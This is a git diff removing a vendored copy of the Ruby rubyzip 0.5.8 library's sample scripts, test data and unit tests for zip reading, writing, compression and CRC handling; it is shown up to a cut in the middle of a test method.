5d91829d..00000000 --- a/vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb +++ /dev/null @@ -1,86 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -$VERBOSE = true - -require 'gtk' -require 'zip/zip' - -class MainApp < Gtk::Window - def initialize - super() - set_usize(400, 256) - set_title("rubyzip") - signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit } - - box = Gtk::VBox.new(false, 0) - add(box) - - @zipfile = nil - @buttonPanel = ButtonPanel.new - @buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - show_file_selector - } - @buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - puts "Not implemented!" - } - box.pack_start(@buttonPanel, false, false, 0) - - sw = Gtk::ScrolledWindow.new - sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC) - box.pack_start(sw, true, true, 0) - - @clist = Gtk::CList.new(["Name", "Size", "Compression"]) - @clist.set_selection_mode(Gtk::SELECTION_BROWSE) - @clist.set_column_width(0, 120) - @clist.set_column_width(1, 120) - @clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) { - |w, row, column, event| - @selected_row = row - } - sw.add(@clist) - end - - class ButtonPanel < Gtk::HButtonBox - attr_reader :openButton, :extractButton - def initialize - super - set_layout(Gtk::BUTTONBOX_START) - set_spacing(0) - @openButton = Gtk::Button.new("Open archive") - @extractButton = Gtk::Button.new("Extract entry") - pack_start(@openButton) - pack_start(@extractButton) - end - end - - def show_file_selector - @fileSelector = Gtk::FileSelection.new("Open zip file") - @fileSelector.show - @fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - open_zip(@fileSelector.filename) - @fileSelector.destroy - } - @fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - @fileSelector.destroy - } - end - - def open_zip(filename) - @zipfile = Zip::ZipFile.open(filename) - @clist.clear - @zipfile.each { - |entry| - @clist.append([ entry.name, - entry.size.to_s, - (100.0*entry.compressedSize/entry.size).to_s+"%" ]) - } - end -end - -mainApp = MainApp.new() - -mainApp.show_all - -Gtk.main diff --git a/vendor/rubyzip-0.5.8/samples/write_simple.rb b/vendor/rubyzip-0.5.8/samples/write_simple.rb deleted file mode 100644 index 648989a2..00000000 --- a/vendor/rubyzip-0.5.8/samples/write_simple.rb +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zip' - -include Zip - -ZipOutputStream.open('simple.zip') { - |zos| - ze = zos.put_next_entry 'entry.txt' - zos.puts "Hello world" -} diff --git a/vendor/rubyzip-0.5.8/samples/zipfind.rb b/vendor/rubyzip-0.5.8/samples/zipfind.rb deleted file mode 100644 index 54ad936e..00000000 --- a/vendor/rubyzip-0.5.8/samples/zipfind.rb +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zip' -require 'find' - -module Zip - module ZipFind - def self.find(path, zipFilePattern = /\.zip$/i) - Find.find(path) { - |fileName| - yield(fileName) - if zipFilePattern.match(fileName) && File.file?(fileName) - begin - Zip::ZipFile.foreach(fileName) { - |zipEntry| - yield(fileName + File::SEPARATOR + zipEntry.to_s) - } - rescue Errno::EACCES => ex - puts ex - end - end - } - end - - def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i) - self.find(path, zipFilePattern) { - |fileName| - yield(fileName) if fileNamePattern.match(fileName) - } - end - - end -end - -if __FILE__ == $0 - module ZipFindConsoleRunner - - PATH_ARG_INDEX = 0; - FILENAME_PATTERN_ARG_INDEX = 1; - ZIPFILE_PATTERN_ARG_INDEX = 2; - - def self.run(args) - check_args(args) - Zip::ZipFind.find_file(args[PATH_ARG_INDEX], - args[FILENAME_PATTERN_ARG_INDEX], - args[ZIPFILE_PATTERN_ARG_INDEX]) { - |fileName| - report_entry_found fileName - } - end - - def self.check_args(args) - if (args.size != 3) - usage - exit - end - end - - def self.usage - puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN" - end - - def self.report_entry_found(fileName) - puts fileName - end - - end - - ZipFindConsoleRunner.run(ARGV) -end diff --git a/vendor/rubyzip-0.5.8/test/alltests.rb b/vendor/rubyzip-0.5.8/test/alltests.rb deleted file mode 100644 index 691349af..00000000 --- a/vendor/rubyzip-0.5.8/test/alltests.rb +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'stdrubyexttest' -require 'ioextrastest' -require 'ziptest' -require 'zipfilesystemtest' -require 'ziprequiretest' diff --git a/vendor/rubyzip-0.5.8/test/data/file1.txt b/vendor/rubyzip-0.5.8/test/data/file1.txt deleted file mode 100644 index 23ea2f73..00000000 --- a/vendor/rubyzip-0.5.8/test/data/file1.txt +++ /dev/null @@ -1,46 +0,0 @@ - -AUTOMAKE_OPTIONS = gnu - -EXTRA_DIST = test.zip - -CXXFLAGS= -g - -noinst_LIBRARIES = libzipios.a - -bin_PROGRAMS = test_zip test_izipfilt test_izipstream -# test_flist - -libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \ - fcol_common.h fcolexceptions.cpp fcolexceptions.h \ - fileentry.cpp fileentry.h flist.cpp \ - flist.h flistentry.cpp flistentry.h \ - flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \ - inflatefilt.cpp inflatefilt.h izipfilt.cpp \ - izipfilt.h izipstream.cpp izipstream.h \ - zipfile.cpp zipfile.h ziphead.cpp \ - ziphead.h flistscanner.ll - -# test_flist_SOURCES = test_flist.cpp - -test_izipfilt_SOURCES = test_izipfilt.cpp - -test_izipstream_SOURCES = test_izipstream.cpp - -test_zip_SOURCES = test_zip.cpp - -# Notice that libzipios.a is not specified as -L. -lzipios -# If it was, automake would not include it as a dependency. - -# test_flist_LDADD = libzipios.a - -test_izipfilt_LDADD = libzipios.a -lz - -test_zip_LDADD = libzipios.a -lz - -test_izipstream_LDADD = libzipios.a -lz - - - -flistscanner.cc : flistscanner.ll - $(LEX) -+ -PFListScanner -o$@ $^ - diff --git a/vendor/rubyzip-0.5.8/test/data/file1.txt.deflatedData b/vendor/rubyzip-0.5.8/test/data/file1.txt.deflatedData deleted file mode 100644 index bfbb4f42c009154e9e3304855c31813275b709d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 482 zcmV<80UiE@RMBpmFcf{>{fa9!51TglfJv3cnzTZrO$4cwhiS+$rdV}s6dQHj*U#Vt z3=5f`xX0%l?mad@^t@d^Mn6{hdb5q!PZ{3gi);W^yKNff%Q)Lw#4v5bKfDIG+wJa? z=pnns-~~V`F15*%_4Ca zj^EboH)XZqO6tya0#)-~Treih@%_}yQ1_j5gZaJAdUeEVT>IuDsQSN`rbJ4Y7;mF@ zf!i26zX>!yBbTKhhP8Aj^y*W$=fmwAo%K2sJ)!HNmwM3k8J!jDh3C2&Q7T4?A^j^} z9r3Ik8+;@B3zEjD19@fmrW#RnN-n8r3f5ArlwiSXCJQF% zdpJoZSw_p{^uI6; YT71LBFMz*PQb9>fNlr&oR8>Ys3VC(y$N&HU diff --git a/vendor/rubyzip-0.5.8/test/data/file2.txt b/vendor/rubyzip-0.5.8/test/data/file2.txt deleted file mode 100644 index cc9ef6ad..00000000 --- a/vendor/rubyzip-0.5.8/test/data/file2.txt +++ /dev/null @@ -1,1504 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - 